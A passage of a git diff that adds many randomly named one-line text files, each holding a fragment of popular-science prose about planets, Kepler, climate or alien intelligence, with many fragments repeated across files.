+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hczffsvmafaor.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hpphoyrgbaacrvfixcikie.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hpphoyrgbaacrvfixcikie.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hpphoyrgbaacrvfixcikie.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hznbxynsomrwvzzxolmieuta.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hznbxynsomrwvzzxolmieuta.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hznbxynsomrwvzzxolmieuta.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_lfoimbzknwl.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_lfoimbzknwl.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_lfoimbzknwl.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_lswlsgrjpoyologxrynxu.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_lswlsgrjpoyologxrynxu.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_lswlsgrjpoyologxrynxu.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_mpcaeoarzlhcuslhr.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_mpcaeoarzlhcuslhr.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_mpcaeoarzlhcuslhr.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_nsvqxyyytplbiuwnoxz.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_nsvqxyyytplbiuwnoxz.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_nsvqxyyytplbiuwnoxz.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_nvupqzvtlotn.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_nvupqzvtlotn.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_nvupqzvtlotn.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_qgaibxktztsmzkqhfjd.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_qgaibxktztsmzkqhfjd.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_qgaibxktztsmzkqhfjd.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_qoiwpljgiydtgbl.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_qoiwpljgiydtgbl.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_qoiwpljgiydtgbl.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_ufsdtwwipesujaryfa.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_ufsdtwwipesujaryfa.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_ufsdtwwipesujaryfa.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_vvkwtaojmtds.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_vvkwtaojmtds.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_vvkwtaojmtds.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_watmmrefvyplhadiv.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_watmmrefvyplhadiv.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_watmmrefvyplhadiv.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_xzvvydxcbnssdqt.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_xzvvydxcbnssdqt.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_xzvvydxcbnssdqt.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_yejtkdejvpqkfznfcl.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_yejtkdejvpqkfznfcl.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_yejtkdejvpqkfznfcl.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_zszpcjjwzpcbltkcctcsarin.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_zszpcjjwzpcbltkcctcsarin.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_zszpcjjwzpcbltkcctcsarin.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/aadxfkqjvucvcpirndp.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/aadxfkqjvucvcpirndp.txt
new file mode 100644
index 0000000..04c4f84
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/aadxfkqjvucvcpirndp.txt
@@ -0,0 +1 @@
+enough; but none of us had suspected that the road to the heart of the species problem lay
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/comksfktwbumnlgudbha.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/comksfktwbumnlgudbha.txt
new file mode 100644
index 0000000..a6e0973
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/comksfktwbumnlgudbha.txt
@@ -0,0 +1 @@
+the Earth a little. Even a little cooling can have disastrous agricultural consequences. Birds
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/czttcnxyrmtx.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/czttcnxyrmtx.txt
new file mode 100644
index 0000000..12134bb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/czttcnxyrmtx.txt
@@ -0,0 +1 @@
+inconsistent with the advance of the subject. Additionally, ‘the responsibility for the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_azmyeghlfabndo.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_azmyeghlfabndo.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_azmyeghlfabndo.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_bhqlvdaltxupyw.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_bhqlvdaltxupyw.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_bhqlvdaltxupyw.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_cbqbllaratxhmhevmah.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_cbqbllaratxhmhevmah.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_cbqbllaratxhmhevmah.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_enuxvvdhlttc.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_enuxvvdhlttc.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_enuxvvdhlttc.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_ghbzxlbrtpydepc.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_ghbzxlbrtpydepc.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_ghbzxlbrtpydepc.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_hzdqcyqk.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_hzdqcyqk.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_hzdqcyqk.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_kzbqxftjbt.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_kzbqxftjbt.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_kzbqxftjbt.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_pgnpumfgbwg.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_pgnpumfgbwg.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_pgnpumfgbwg.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_plfwudavkwazj.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_plfwudavkwazj.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_plfwudavkwazj.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_pmnqwjjsyvtizargpghb.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_pmnqwjjsyvtizargpghb.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_pmnqwjjsyvtizargpghb.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_wzgyvyonqexffatbpi.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_wzgyvyonqexffatbpi.txt
new file mode 100644
index 0000000..9ebcad8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/file_wzgyvyonqexffatbpi.txt
@@ -0,0 +1 @@
+has ever viewed before - except with such a computer.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/kqkssbogx.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/kqkssbogx.txt
new file mode 100644
index 0000000..19cd572
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/kqkssbogx.txt
@@ -0,0 +1 @@
+believed that Mars was, very closely, Earth-like. All in all, he believed too much.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/magnyzfinpz.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/magnyzfinpz.txt
new file mode 100644
index 0000000..fa1f47f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/magnyzfinpz.txt
@@ -0,0 +1 @@
+atmospheres will be very much like us in their atomic composition, except they might not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/mxgungoqrghcgqsovpr.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/mxgungoqrghcgqsovpr.txt
new file mode 100644
index 0000000..807ab20
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/mxgungoqrghcgqsovpr.txt
@@ -0,0 +1 @@
+years to go the distance to the nearest star. Do we have any hope of leaving Earth and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/obcemkiakixmmzjcpceth.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/obcemkiakixmmzjcpceth.txt
new file mode 100644
index 0000000..b6124ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/obcemkiakixmmzjcpceth.txt
@@ -0,0 +1 @@
+- The Mahapurana (The Great Legend), Jinasena (India, ninth century)
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/qehzlkzuzsarfqny.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/qehzlkzuzsarfqny.txt
new file mode 100644
index 0000000..50d989e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/qehzlkzuzsarfqny.txt
@@ -0,0 +1 @@
+The lifelong quest of Johannes Kepler, to understand the motions of the planets, to seek a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/qjbpmnvreuquj.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/qjbpmnvreuquj.txt
new file mode 100644
index 0000000..ca1d680
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/qjbpmnvreuquj.txt
@@ -0,0 +1 @@
+on Earth, perhaps they know 10 20 bits or 10 30 - not just more information but significantly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/sbdalxdremzulqcihdjqu.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/sbdalxdremzulqcihdjqu.txt
new file mode 100644
index 0000000..673e268
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/sbdalxdremzulqcihdjqu.txt
@@ -0,0 +1 @@
+- Democritus of Abdera
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/tajfvxidjtijlsomrxydekr.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/tajfvxidjtijlsomrxydekr.txt
new file mode 100644
index 0000000..3d63699
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/tajfvxidjtijlsomrxydekr.txt
@@ -0,0 +1 @@
+atmosphere and brighten the land, oblivious of the fact that the long-term consequences are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/vlbnshbkudwpdmjmlftmdxsx.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/vlbnshbkudwpdmjmlftmdxsx.txt
new file mode 100644
index 0000000..59a99c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/vlbnshbkudwpdmjmlftmdxsx.txt
@@ -0,0 +1 @@
+some - reading, writing, speaking - seem to be localized in particular places in the cerebral
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/wylwumbkukuldhlwvap.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/wylwumbkukuldhlwvap.txt
new file mode 100644
index 0000000..efe1815
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/folder_mihrqwbasw/wylwumbkukuldhlwvap.txt
@@ -0,0 +1 @@
+from the surface, no insignificant feat in so hot, dense and corrosive a planetary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_aoybvboq.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_aoybvboq.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_aoybvboq.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_byeiwcvjjxiwksvifrw.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_byeiwcvjjxiwksvifrw.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_byeiwcvjjxiwksvifrw.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_cvueuwzoechfshi.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_cvueuwzoechfshi.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_cvueuwzoechfshi.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_duhjmmulpmrecv.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_duhjmmulpmrecv.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_duhjmmulpmrecv.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_eczzgklimvt.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_eczzgklimvt.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_eczzgklimvt.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_errynkfnbneyly.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_errynkfnbneyly.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_errynkfnbneyly.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_fmrysyyflesvp.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_fmrysyyflesvp.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_fmrysyyflesvp.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_hncnlhrbiygy.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_hncnlhrbiygy.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_hncnlhrbiygy.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_judxbkoioabypcu.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_judxbkoioabypcu.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_judxbkoioabypcu.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_kuptuecqoeyjua.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_kuptuecqoeyjua.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_kuptuecqoeyjua.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_llfierbnwqzoemuubwjhl.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_llfierbnwqzoemuubwjhl.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_llfierbnwqzoemuubwjhl.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
